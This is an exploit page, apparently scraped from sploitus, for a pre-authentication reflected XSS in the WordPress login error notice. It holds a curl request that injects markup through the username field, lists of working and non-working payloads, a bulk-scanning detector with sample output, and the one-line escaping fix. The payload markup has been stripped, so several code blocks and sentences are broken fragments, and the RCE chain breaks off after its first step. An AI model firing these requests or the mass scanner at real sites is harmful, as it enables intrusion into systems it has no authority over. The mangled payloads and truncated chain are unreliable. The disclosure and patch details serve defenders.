## https://sploitus.com/exploit?id=71CA7A66-8C6B-51EF-AC52-61BBF601E9BD
XSS2Shell
CVE-2026-64638 · pre-auth reflected XSS on the WordPress login screen
Unauthenticated attacker controls markup in the login error notice, because a username passes `strip_tags()` as text and comes back out of KSES as a tag. Patched in 7.0.3 and backported down to 5.8.14.
**Affected: 5.8 through 7.0.2.** Not 4.7, and not only 6.4+. See the [technical analysis](https://christbowel.com/blog/xss2shell).
## XSS
The space after `CLICK ME
```
Or over curl:
```bash
curl -s -X POST http://TARGET/wp-login.php \
--data-urlencode 'log=CLICK ME' \
--data-urlencode 'pwd=x' \
--data 'wp-submit=Log+In' \
-b 'wordpress_test_cookie=WP+Cookie+check' \
| grep -o ''
```
```
Error:
The username CLICK ME is not registered
on this site. ...
```
More working payloads:
```
z live anchor, attacker chosen id and href
fires a same origin request
minimal allowlisted node
z class the login JS looks for
```
Control case, no space, proves the mechanism:
```
z stripped, only "z" survives
```
What does **not** work, and this matters:
```
alert(1) renders "alert(1)" as text, KSES drops script
renders , KSES drops onerror
```
KSES keeps allowlisted elements but strips `script` and every `on*` handler. So the primitive is attacker chosen DOM with chosen `id` / `class` / `href`. It is not script execution.
## RCE
There is no one liner. The reflected XSS is a single request. Code execution is not.
Path, and every step is a precondition rather than a payload:
```
1. reflected injection pre-auth, one request
## Detector
`libfree.py` checks whether an instance still reflects the probe. One POST, benign marker string, nothing executed, nothing written.
```bash
python3 libfree.py -u https://example.com
python3 libfree.py -f targets.txt -t 5 -o results.csv
python3 libfree.py -f targets.txt --quiet # print vulnerable hosts only
python3 libfree.py -u https://internal.lan -k # skip TLS verification
```
```
TARGET STATUS VERSION NOTE
----------------------------------------------------------------------------------
! http://127.0.0.1:8081 VULNERABLE 7.0.2 probe reflected as live markup
+ http://127.0.0.1:8082 PATCHED 7.0.2 probe reflected escaped
. http://127.0.0.1:9999 REFUSED - nothing listening on that port
~ https://127.0.0.1:8081 TLS ERROR - handshake failed: RECORD_LAYER_FAILURE
. http://127.0.0.1:8090 LOGIN DISABLED - HTTP 404, wp-login.php not exposed
. http://does-not-resolve-xyz.invalid NO DNS - hostname does not resolve
. http://127.0.0.1:8081/nonexistent-subdir NOT WORDPRESS - HTTP 200, no WordPress login form
7 checked 1 vulnerable 1 patched 5 not determined
not determined: 1 login disabled, 1 no dns, 1 not wordpress, 1 refused, 1 tls error
```
It probes rather than fingerprints. The first two hosts both report `7.0.2` and only one is patched, so a version check would have called both vulnerable. That case is common on hosts that backport without bumping the banner.
A target it could not reach is never reported as safe. Everything that is not a conclusive `VULNERABLE` or `PATCHED` lands in `not determined`, with the reason:
| status | meaning |
|---|---|
| `NO DNS` | hostname does not resolve |
| `REFUSED` | nothing listening |
| `TIMEOUT` | no response in time, raise `--timeout` |
| `TLS ERROR` | certificate or handshake problem, try `-k` |
| `BLOCKED` | 401 / 403 / 406 / 429, WAF or rate limit in front |
| `LOGIN DISABLED` | 404, `wp-login.php` not exposed |
| `NOT WORDPRESS` | responded, but no login form |
| `INCONCLUSIVE` | login flow customised, check by hand |
Exit codes: `0` nothing vulnerable, `1` at least one vulnerable, `2` bad input.
Only scan hosts you own or are authorised to test.
## Fix
Update to 7.0.3, or the patched release on your branch: 6.9.6, 6.8.7, 6.7.6, 6.6.6, 6.5.9, 6.4.9, 6.3.9, 6.2.10, 6.1.11, 6.0.13, 5.9.14, 5.8.14.
The fix is one line in `wp-includes/user.php`:
```php
- $username
+ esc_html( $username )
```
## References
- Technical analysis: https://christbowel.com/blog/xss2shell
- WordPress 7.0.3 release notes: https://wordpress.org/documentation/wordpress-version/version-7-0-3/
- Upstream commit: `0d6d42e509` "Users: Prevent usernames from mangling HTML"
- Original disclosure: pwn.ai